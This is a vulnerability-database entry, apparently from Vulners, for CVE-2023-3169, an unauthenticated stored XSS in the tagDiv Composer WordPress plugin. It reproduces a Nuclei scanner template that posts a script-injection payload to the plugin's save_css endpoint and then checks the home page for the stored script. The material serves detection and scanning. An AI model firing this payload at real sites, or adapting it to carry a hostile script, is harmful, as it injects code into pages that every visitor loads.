Lucene search
+L

tagDiv Composer < 4.2 - Stored Cross-Site Scripting

🗓️ 16 Oct 2026 02:05:10Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 45 Views

TagDiv Composer earlier than 4.2 has unauthenticated stored XSS via /wp-json/tdw/save_css.

Related
Refs
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
tagDiv Composer Plugin XSS
12 Dec 202300:00
–bdu_fstec
circl
Circl
CVE-2023-3169
10 Oct 202311:36
–circl
cnnvd
CNNVD
WordPress plugin tagDiv Composer cross-site scripting vulnerability
11 Sep 202300:00
–cnnvd
cve
CVE
CVE-2023-3169
11 Sep 202319:46
–cve
cvelist
Cvelist
CVE-2023-3169 tagDiv Composer < 4.2 - Unauthenticated Stored XSS
11 Sep 202319:46
–cvelist
euvd
EUVD
EUVD-2023-43852
3 Oct 202520:07
–euvd
hivepro
hivepro
Balada Injector A Large-Scale Malware Campaign Targeting WordPress
14 Oct 202312:27
–hivepro
nvd
NVD
CVE-2023-3169
11 Sep 202320:15
–nvd
osv_cve
osv_cve
CVE-2023-3169
11 Sep 202320:15
–osv_cve
patchstack
Patchstack
WordPress tagDiv Composer Plugin < 4.2 is vulnerable to Cross Site Scripting (XSS)
17 Aug 202300:00
–patchstack
Rows per page
id: CVE-2023-3169

info:
  name: tagDiv Composer < 4.2 - Stored Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    tagDiv Composer plugin versions before 4.2 for WordPress are vulnerable to unauthenticated stored XSS via the /wp-json/tdw/save_css endpoint. An attacker can inject malicious JavaScript code through the compiled_css parameter, which gets stored and executed when the CSS is loaded.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the compiled_css parameter which gets stored and executed when the CSS is loaded, potentially compromising all visitors to the WordPress site.
  remediation: |
    Update tagDiv Composer plugin to version 4.2 or later that properly validates and sanitizes CSS input from the save_css endpoint and requires authentication.
  reference:
    - https://wpscan.com/vulnerability/e6d8216d-ace4-48ba-afca-74da0dc5abb5
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3169
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3169
    epss-score: 0.01217
    epss-percentile: 0.68074
    cwe-id: CWE-79
    cpe: cpe:2.3:a:tagdiv:tagdiv_composer:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: tagdiv
    product: tagdiv_composer
    fofa-query: body="/wp-content/plugins/td-composer"
  tags: cve,cve2023,wordpress,wp-plugin,wp,xss,td-composer,tagdiv,intrusive,vkev,vuln

variables:
  string: "{{rand_text_numeric(13)}}"
flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-json/tdw/save_css HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        compiled_css=%3C%2Fstyle%3E<script>console.log({{string}})</script>%3Cstyle%3E

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 0'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'tdw-css-placeholder"></style><script>console.log({{string}})</script>'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022051c18274335241e77084eb8169c0343cc56c8bdbd71463ccc052611f8a686e4b022100abd8dfbb06da7b081c607ffa632c02bb221b59665feddc9f6ca737c6858a298e:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation